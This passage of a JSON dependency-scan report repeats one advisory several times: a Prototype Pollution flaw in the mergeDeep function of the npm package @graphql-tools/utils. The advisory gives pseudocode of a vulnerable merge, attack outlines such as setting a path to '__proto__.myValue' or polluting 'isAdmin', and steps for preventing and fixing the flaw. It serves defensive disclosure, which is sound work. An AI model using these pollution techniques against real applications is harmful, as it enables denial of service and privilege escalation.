"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-10-06T00:13:54.277000Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-10-06T13:40:55.188306Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-07T13:32:37.361867Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"socket.io-server-v2@0.0.0",
"@graphql-codegen/c-sharp-operations@3.2.0",
"@graphql-codegen/c-sharp-common@1.2.0",
"@graphql-codegen/plugin-helpers@5.1.1",
"@graphql-tools/utils@10.10.3"
],
"upgradePath": [],
"isUpgradable": false,
"isPatchable": false,
"name": "@graphql-tools/utils",
"version": "10.10.3"
},
{
"id": "SNYK-JS-GRAPHQLTOOLSUTILS-20537055",
"title": "Prototype Pollution",
"CVSSv3": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"tepel-chen"
],
"semver": {
"vulnerable": [
"<12.0.1"
]
},
"exploit": "Not Defined",
"fixedIn": [
"12.0.1"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.2,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "@graphql-tools/utils",
"references": [
{
"url": "https://github.com/ardatan/graphql-tools/commit/0b9529f1988fd36186a7c106a6efe0356f1b7f2e",
"title": "GitHub Commit"
},
{
"url": "https://github.com/ardatan/graphql-tools/pull/8423",
"title": "GitHub PR"
},
{
"url": "https://github.com/graphql-hive/gateway/pull/2600",
"title": "GitHub PR"
},
{
"url": "https://github.com/ardatan/graphql-tools/security/advisories/GHSA-7mx3-vvmw-hjmv",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-10-07T13:32:36.996627Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.2,
"cvssVersion": "4.0",
"modificationTime": "2026-10-07T13:32:37.361867Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "medium",
"baseScore": 5.9,
"cvssVersion": "3.1",
"modificationTime": "2026-10-07T13:32:37.361867Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-07T13:32:36.996627Z"
}
],
"description": "## Overview\n[@graphql-tools/utils](https://www.npmjs.org/package/@graphql-tools/utils) is a Common package containing utils and types for GraphQL tools\n\nAffected versions of this package are vulnerable to Prototype Pollution via the `mergeDeep` function, which fails to block reserved property keys such as `__proto__`, `constructor`, and `prototype` before recursively merging source objects into an output object. An attacker who controls a source object passed to `mergeDeep` can pollute `Object.prototype`, potentially affecting all objects in the process and enabling further exploitation.\n\n## Details\n\nPrototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as `__proto__`, `constructor` and `prototype`. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the `Object.prototype` are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.\n\nThere are two main ways in which the pollution of prototypes occurs:\n\n- Unsafe `Object` recursive merge\n \n- Property definition by path\n \n\n### Unsafe Object recursive merge\n\nThe logic of a vulnerable recursive merge function follows the following high-level model:\n```\nmerge (target, source)\n\n foreach property of source\n\n if property exists and is an object on both the target and the source\n\n merge(target[property], source[property])\n\n else\n\n target[property] = source[property]\n```\n
\n\nWhen the source object contains a property named `__proto__` defined with `Object.defineProperty()` , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of `Object` and the source of `Object` as defined by the attacker. Properties are then copied on the `Object` prototype.\n\nClone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: `merge({},source)`.\n\n`lodash` and `Hoek` are examples of libraries susceptible to recursive merge attacks.\n\n### Property definition by path\n\nThere are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: `theFunction(object, path, value)`\n\nIf the attacker can control the value of “path”, they can set this value to `__proto__.myValue`. `myValue` is then assigned to the prototype of the class of the object.\n\n## Types of attacks\n\nThere are a few methods by which Prototype Pollution can be manipulated:\n\n| Type |Origin |Short description |\n|--|--|--|\n| **Denial of service (DoS)**|Client |This is the most likely attack.
DoS occurs when `Object` holds generic functions that are implicitly called for various operations (for example, `toString` and `valueOf`).
The attacker pollutes `Object.prototype.someattr` and alters its state to an unexpected value such as `Int` or `Object`. In this case, the code fails and is likely to cause a denial of service.
**For example:** if an attacker pollutes `Object.prototype.toString` by defining it as an integer, if the codebase at any point was reliant on `someobject.toString()` it would fail. |\n |**Remote Code Execution**|Client|Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation.
**For example:** `eval(someobject.someattr)`. In this case, if the attacker pollutes `Object.prototype.someattr` they are likely to be able to leverage this in order to execute code.|\n|**Property Injection**|Client|The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens.
**For example:** if a codebase checks privileges for `someuser.isAdmin`, then when the attacker pollutes `Object.prototype.isAdmin` and sets it to equal `true`, they can then achieve admin privileges.|\n\n## Affected environments\n\nThe following environments are susceptible to a Prototype Pollution attack:\n\n- Application server\n \n- Web server\n\n- Web browser\n \n\n## How to prevent\n\n1. Freeze the prototype— use `Object.freeze (Object.prototype)`.\n \n2. Require schema validation of JSON input.\n \n3. Avoid using unsafe recursive merge functions.\n \n4. Consider using objects without prototypes (for example, `Object.create(null)`), breaking the prototype chain and preventing pollution.\n \n5. As a best practice use `Map` instead of `Object`.\n\n### For more information on this vulnerability type:\n\n[Arteau, Olivier. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018](https://github.com/HoLyVieR/prototype-pollution-nsec18/blob/master/paper/JavaScript_prototype_pollution_attack_in_NodeJS.pdf)\n\n## Remediation\nUpgrade `@graphql-tools/utils` to version 12.0.1 or higher.\n## References\n- [GitHub Commit](https://github.com/ardatan/graphql-tools/commit/0b9529f1988fd36186a7c106a6efe0356f1b7f2e)\n- [GitHub PR](https://github.com/ardatan/graphql-tools/pull/8423)\n- [GitHub PR](https://github.com/graphql-hive/gateway/pull/2600)\n- [Maintainer's Advisory](https://github.com/ardatan/graphql-tools/security/advisories/GHSA-7mx3-vvmw-hjmv)\n",
"epssDetails": {
"percentile": "0.27143",
"probability": "0.00356",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-104852"
],
"CWE": [
"CWE-1321"
],
"GHSA": [
"GHSA-7mx3-vvmw-hjmv"
]
},
"packageName": "@graphql-tools/utils",
"proprietary": false,
"creationTime": "2026-10-06T13:40:54.993466Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-10-06T00:13:54.277000Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-10-06T13:40:55.188306Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-07T13:32:37.361867Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"socket.io-server-v2@0.0.0",
"@graphql-codegen/c-sharp@5.1.2",
"@graphql-codegen/visitor-plugin-common@5.8.0",
"@graphql-codegen/plugin-helpers@5.1.1",
"@graphql-tools/utils@10.10.3"
],
"upgradePath": [],
"isUpgradable": false,
"isPatchable": false,
"name": "@graphql-tools/utils",
"version": "10.10.3"
},
{
"id": "SNYK-JS-GRAPHQLTOOLSUTILS-20537055",
"title": "Prototype Pollution",
"CVSSv3": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"tepel-chen"
],
"semver": {
"vulnerable": [
"<12.0.1"
]
},
"exploit": "Not Defined",
"fixedIn": [
"12.0.1"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.2,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "@graphql-tools/utils",
"references": [
{
"url": "https://github.com/ardatan/graphql-tools/commit/0b9529f1988fd36186a7c106a6efe0356f1b7f2e",
"title": "GitHub Commit"
},
{
"url": "https://github.com/ardatan/graphql-tools/pull/8423",
"title": "GitHub PR"
},
{
"url": "https://github.com/graphql-hive/gateway/pull/2600",
"title": "GitHub PR"
},
{
"url": "https://github.com/ardatan/graphql-tools/security/advisories/GHSA-7mx3-vvmw-hjmv",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-10-07T13:32:36.996627Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.2,
"cvssVersion": "4.0",
"modificationTime": "2026-10-07T13:32:37.361867Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "medium",
"baseScore": 5.9,
"cvssVersion": "3.1",
"modificationTime": "2026-10-07T13:32:37.361867Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-07T13:32:36.996627Z"
}
],
"description": "## Overview\n[@graphql-tools/utils](https://www.npmjs.org/package/@graphql-tools/utils) is a Common package containing utils and types for GraphQL tools\n\nAffected versions of this package are vulnerable to Prototype Pollution via the `mergeDeep` function, which fails to block reserved property keys such as `__proto__`, `constructor`, and `prototype` before recursively merging source objects into an output object. An attacker who controls a source object passed to `mergeDeep` can pollute `Object.prototype`, potentially affecting all objects in the process and enabling further exploitation.\n\n## Details\n\nPrototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as `__proto__`, `constructor` and `prototype`. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the `Object.prototype` are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.\n\nThere are two main ways in which the pollution of prototypes occurs:\n\n- Unsafe `Object` recursive merge\n \n- Property definition by path\n \n\n### Unsafe Object recursive merge\n\nThe logic of a vulnerable recursive merge function follows the following high-level model:\n```\nmerge (target, source)\n\n foreach property of source\n\n if property exists and is an object on both the target and the source\n\n merge(target[property], source[property])\n\n else\n\n target[property] = source[property]\n```\n
\n\nWhen the source object contains a property named `__proto__` defined with `Object.defineProperty()` , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of `Object` and the source of `Object` as defined by the attacker. Properties are then copied on the `Object` prototype.\n\nClone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: `merge({},source)`.\n\n`lodash` and `Hoek` are examples of libraries susceptible to recursive merge attacks.\n\n### Property definition by path\n\nThere are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: `theFunction(object, path, value)`\n\nIf the attacker can control the value of “path”, they can set this value to `__proto__.myValue`. `myValue` is then assigned to the prototype of the class of the object.\n\n## Types of attacks\n\nThere are a few methods by which Prototype Pollution can be manipulated:\n\n| Type |Origin |Short description |\n|--|--|--|\n| **Denial of service (DoS)**|Client |This is the most likely attack.
DoS occurs when `Object` holds generic functions that are implicitly called for various operations (for example, `toString` and `valueOf`).
The attacker pollutes `Object.prototype.someattr` and alters its state to an unexpected value such as `Int` or `Object`. In this case, the code fails and is likely to cause a denial of service.
**For example:** if an attacker pollutes `Object.prototype.toString` by defining it as an integer, if the codebase at any point was reliant on `someobject.toString()` it would fail. |\n |**Remote Code Execution**|Client|Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation.
**For example:** `eval(someobject.someattr)`. In this case, if the attacker pollutes `Object.prototype.someattr` they are likely to be able to leverage this in order to execute code.|\n|**Property Injection**|Client|The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens.
**For example:** if a codebase checks privileges for `someuser.isAdmin`, then when the attacker pollutes `Object.prototype.isAdmin` and sets it to equal `true`, they can then achieve admin privileges.|\n\n## Affected environments\n\nThe following environments are susceptible to a Prototype Pollution attack:\n\n- Application server\n \n- Web server\n\n- Web browser\n \n\n## How to prevent\n\n1. Freeze the prototype— use `Object.freeze (Object.prototype)`.\n \n2. Require schema validation of JSON input.\n \n3. Avoid using unsafe recursive merge functions.\n \n4. Consider using objects without prototypes (for example, `Object.create(null)`), breaking the prototype chain and preventing pollution.\n \n5. As a best practice use `Map` instead of `Object`.\n\n### For more information on this vulnerability type:\n\n[Arteau, Olivier. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018](https://github.com/HoLyVieR/prototype-pollution-nsec18/blob/master/paper/JavaScript_prototype_pollution_attack_in_NodeJS.pdf)\n\n## Remediation\nUpgrade `@graphql-tools/utils` to version 12.0.1 or higher.\n## References\n- [GitHub Commit](https://github.com/ardatan/graphql-tools/commit/0b9529f1988fd36186a7c106a6efe0356f1b7f2e)\n- [GitHub PR](https://github.com/ardatan/graphql-tools/pull/8423)\n- [GitHub PR](https://github.com/graphql-hive/gateway/pull/2600)\n- [Maintainer's Advisory](https://github.com/ardatan/graphql-tools/security/advisories/GHSA-7mx3-vvmw-hjmv)\n",
"epssDetails": {
"percentile": "0.27143",
"probability": "0.00356",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-104852"
],
"CWE": [
"CWE-1321"
],
"GHSA": [
"GHSA-7mx3-vvmw-hjmv"
]
},
"packageName": "@graphql-tools/utils",
"proprietary": false,
"creationTime": "2026-10-06T13:40:54.993466Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-10-06T00:13:54.277000Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-10-06T13:40:55.188306Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-07T13:32:37.361867Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"socket.io-server-v2@0.0.0",
"@graphql-codegen/c-sharp-operations@3.2.0",
"@graphql-codegen/visitor-plugin-common@5.8.0",
"@graphql-codegen/plugin-helpers@5.1.1",
"@graphql-tools/utils@10.10.3"
],
"upgradePath": [],
"isUpgradable": false,
"isPatchable": false,
"name": "@graphql-tools/utils",
"version": "10.10.3"
},
{
"id": "SNYK-JS-GRAPHQLTOOLSUTILS-20537055",
"title": "Prototype Pollution",
"CVSSv3": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"tepel-chen"
],
"semver": {
"vulnerable": [
"<12.0.1"
]
},
"exploit": "Not Defined",
"fixedIn": [
"12.0.1"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.2,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "@graphql-tools/utils",
"references": [
{
"url": "https://github.com/ardatan/graphql-tools/commit/0b9529f1988fd36186a7c106a6efe0356f1b7f2e",
"title": "GitHub Commit"
},
{
"url": "https://github.com/ardatan/graphql-tools/pull/8423",
"title": "GitHub PR"
},
{
"url": "https://github.com/graphql-hive/gateway/pull/2600",
"title": "GitHub PR"
},
{
"url": "https://github.com/ardatan/graphql-tools/security/advisories/GHSA-7mx3-vvmw-hjmv",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-10-07T13:32:36.996627Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.2,
"cvssVersion": "4.0",
"modificationTime": "2026-10-07T13:32:37.361867Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "medium",
"baseScore": 5.9,
"cvssVersion": "3.1",
"modificationTime": "2026-10-07T13:32:37.361867Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-07T13:32:36.996627Z"
}
],
"description": "## Overview\n[@graphql-tools/utils](https://www.npmjs.org/package/@graphql-tools/utils) is a Common package containing utils and types for GraphQL tools\n\nAffected versions of this package are vulnerable to Prototype Pollution via the `mergeDeep` function, which fails to block reserved property keys such as `__proto__`, `constructor`, and `prototype` before recursively merging source objects into an output object. An attacker who controls a source object passed to `mergeDeep` can pollute `Object.prototype`, potentially affecting all objects in the process and enabling further exploitation.\n\n## Details\n\nPrototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as `__proto__`, `constructor` and `prototype`. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the `Object.prototype` are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.\n\nThere are two main ways in which the pollution of prototypes occurs:\n\n- Unsafe `Object` recursive merge\n \n- Property definition by path\n \n\n### Unsafe Object recursive merge\n\nThe logic of a vulnerable recursive merge function follows the following high-level model:\n```\nmerge (target, source)\n\n foreach property of source\n\n if property exists and is an object on both the target and the source\n\n merge(target[property], source[property])\n\n else\n\n target[property] = source[property]\n```\n
\n\nWhen the source object contains a property named `__proto__` defined with `Object.defineProperty()` , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of `Object` and the source of `Object` as defined by the attacker. Properties are then copied on the `Object` prototype.\n\nClone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: `merge({},source)`.\n\n`lodash` and `Hoek` are examples of libraries susceptible to recursive merge attacks.\n\n### Property definition by path\n\nThere are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: `theFunction(object, path, value)`\n\nIf the attacker can control the value of “path”, they can set this value to `__proto__.myValue`. `myValue` is then assigned to the prototype of the class of the object.\n\n## Types of attacks\n\nThere are a few methods by which Prototype Pollution can be manipulated:\n\n| Type |Origin |Short description |\n|--|--|--|\n| **Denial of service (DoS)**|Client |This is the most likely attack.
DoS occurs when `Object` holds generic functions that are implicitly called for various operations (for example, `toString` and `valueOf`).
The attacker pollutes `Object.prototype.someattr` and alters its state to an unexpected value such as `Int` or `Object`. In this case, the code fails and is likely to cause a denial of service.
**For example:** if an attacker pollutes `Object.prototype.toString` by defining it as an integer, if the codebase at any point was reliant on `someobject.toString()` it would fail. |\n |**Remote Code Execution**|Client|Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation.
**For example:** `eval(someobject.someattr)`. In this case, if the attacker pollutes `Object.prototype.someattr` they are likely to be able to leverage this in order to execute code.|\n|**Property Injection**|Client|The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens.
**For example:** if a codebase checks privileges for `someuser.isAdmin`, then when the attacker pollutes `Object.prototype.isAdmin` and sets it to equal `true`, they can then achieve admin privileges.|\n\n## Affected environments\n\nThe following environments are susceptible to a Prototype Pollution attack:\n\n- Application server\n \n- Web server\n\n- Web browser\n \n\n## How to prevent\n\n1. Freeze the prototype— use `Object.freeze (Object.prototype)`.\n \n2. Require schema validation of JSON input.\n \n3. Avoid using unsafe recursive merge functions.\n \n4. Consider using objects without prototypes (for example, `Object.create(null)`), breaking the prototype chain and preventing pollution.\n \n5. As a best practice use `Map` instead of `Object`.\n\n### For more information on this vulnerability type:\n\n[Arteau, Olivier. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018](https://github.com/HoLyVieR/prototype-pollution-nsec18/blob/master/paper/JavaScript_prototype_pollution_attack_in_NodeJS.pdf)\n\n## Remediation\nUpgrade `@graphql-tools/utils` to version 12.0.1 or higher.\n## References\n- [GitHub Commit](https://github.com/ardatan/graphql-tools/commit/0b9529f1988fd36186a7c106a6efe0356f1b7f2e)\n- [GitHub PR](https://github.com/ardatan/graphql-tools/pull/8423)\n- [GitHub PR](https://github.com/graphql-hive/gateway/pull/2600)\n- [Maintainer's Advisory](https://github.com/ardatan/graphql-tools/security/advisories/GHSA-7mx3-vvmw-hjmv)\n",
"epssDetails": {
"percentile": "0.27143",
"probability": "0.00356",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-104852"
],
"CWE": [
"CWE-1321"
],
"GHSA": [
"GHSA-7mx3-vvmw-hjmv"
]
},
"packageName": "@graphql-tools/utils",
"proprietary": false,
"creationTime": "2026-10-06T13:40:54.993466Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-10-06T00:13:54.277000Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-10-06T13:40:55.188306Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-07T13:32:37.361867Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"socket.io-server-v2@0.0.0",
"@graphql-codegen/c-sharp@5.1.2",
"@graphql-codegen/c-sharp-common@1.2.0",
"@graphql-codegen/visitor-plugin-common@5.8.0",
"@graphql-tools/utils@10.10.3"
],
"upgradePath": [],
"isUpgradable": false,
"isPatchable": false,
"name": "@graphql-tools/utils",
"version": "10.10.3"
},
{
"id": "SNYK-JS-GRAPHQLTOOLSUTILS-20537055",
"title": "Prototype Pollution",
"CVSSv3": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"tepel-chen"
],
"semver": {
"vulnerable": [
"<12.0.1"
]
},
"exploit": "Not Defined",
"fixedIn": [
"12.0.1"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.2,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "@graphql-tools/utils",
"references": [
{
"url": "https://github.com/ardatan/graphql-tools/commit/0b9529f1988fd36186a7c106a6efe0356f1b7f2e",
"title": "GitHub Commit"
},
{
"url": "https://github.com/ardatan/graphql-tools/pull/8423",
"title": "GitHub PR"
},
{
"url": "https://github.com/graphql-hive/gateway/pull/2600",
"title": "GitHub PR"
},
{
"url": "https://github.com/ardatan/graphql-tools/security/advisories/GHSA-7mx3-vvmw-hjmv",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-10-07T13:32:36.996627Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.2,
"cvssVersion": "4.0",
"modificationTime": "2026-10-07T13:32:37.361867Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "medium",
"baseScore": 5.9,
"cvssVersion": "3.1",
"modificationTime": "2026-10-07T13:32:37.361867Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-07T13:32:36.996627Z"
}
],
"description": "## Overview\n[@graphql-tools/utils](https://www.npmjs.org/package/@graphql-tools/utils) is a Common package containing utils and types for GraphQL tools\n\nAffected versions of this package are vulnerable to Prototype Pollution via the `mergeDeep` function, which fails to block reserved property keys such as `__proto__`, `constructor`, and `prototype` before recursively merging source objects into an output object. An attacker who controls a source object passed to `mergeDeep` can pollute `Object.prototype`, potentially affecting all objects in the process and enabling further exploitation.\n\n## Details\n\nPrototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as `__proto__`, `constructor` and `prototype`. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the `Object.prototype` are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.\n\nThere are two main ways in which the pollution of prototypes occurs:\n\n- Unsafe `Object` recursive merge\n \n- Property definition by path\n \n\n### Unsafe Object recursive merge\n\nThe logic of a vulnerable recursive merge function follows the following high-level model:\n```\nmerge (target, source)\n\n foreach property of source\n\n if property exists and is an object on both the target and the source\n\n merge(target[property], source[property])\n\n else\n\n target[property] = source[property]\n```\n
\n\nWhen the source object contains a property named `__proto__` defined with `Object.defineProperty()` , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of `Object` and the source of `Object` as defined by the attacker. Properties are then copied on the `Object` prototype.\n\nClone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: `merge({},source)`.\n\n`lodash` and `Hoek` are examples of libraries susceptible to recursive merge attacks.\n\n### Property definition by path\n\nThere are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: `theFunction(object, path, value)`\n\nIf the attacker can control the value of “path”, they can set this value to `__proto__.myValue`. `myValue` is then assigned to the prototype of the class of the object.\n\n## Types of attacks\n\nThere are a few methods by which Prototype Pollution can be manipulated:\n\n| Type |Origin |Short description |\n|--|--|--|\n| **Denial of service (DoS)**|Client |This is the most likely attack.
DoS occurs when `Object` holds generic functions that are implicitly called for various operations (for example, `toString` and `valueOf`).
The attacker pollutes `Object.prototype.someattr` and alters its state to an unexpected value such as `Int` or `Object`. In this case, the code fails and is likely to cause a denial of service.
**For example:** if an attacker pollutes `Object.prototype.toString` by defining it as an integer, if the codebase at any point was reliant on `someobject.toString()` it would fail. |\n |**Remote Code Execution**|Client|Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation.
**For example:** `eval(someobject.someattr)`. In this case, if the attacker pollutes `Object.prototype.someattr` they are likely to be able to leverage this in order to execute code.|\n|**Property Injection**|Client|The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens.
**For example:** if a codebase checks privileges for `someuser.isAdmin`, then when the attacker pollutes `Object.prototype.isAdmin` and sets it to equal `true`, they can then achieve admin privileges.|\n\n## Affected environments\n\nThe following environments are susceptible to a Prototype Pollution attack:\n\n- Application server\n \n- Web server\n\n- Web browser\n \n\n## How to prevent\n\n1. Freeze the prototype— use `Object.freeze (Object.prototype)`.\n \n2. Require schema validation of JSON input.\n \n3. Avoid using unsafe recursive merge functions.\n \n4. Consider using objects without prototypes (for example, `Object.create(null)`), breaking the prototype chain and preventing pollution.\n \n5. As a best practice use `Map` instead of `Object`.\n\n### For more information on this vulnerability type:\n\n[Arteau, Olivier. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018](https://github.com/HoLyVieR/prototype-pollution-nsec18/blob/master/paper/JavaScript_prototype_pollution_attack_in_NodeJS.pdf)\n\n## Remediation\nUpgrade `@graphql-tools/utils` to version 12.0.1 or higher.\n## References\n- [GitHub Commit](https://github.com/ardatan/graphql-tools/commit/0b9529f1988fd36186a7c106a6efe0356f1b7f2e)\n- [GitHub 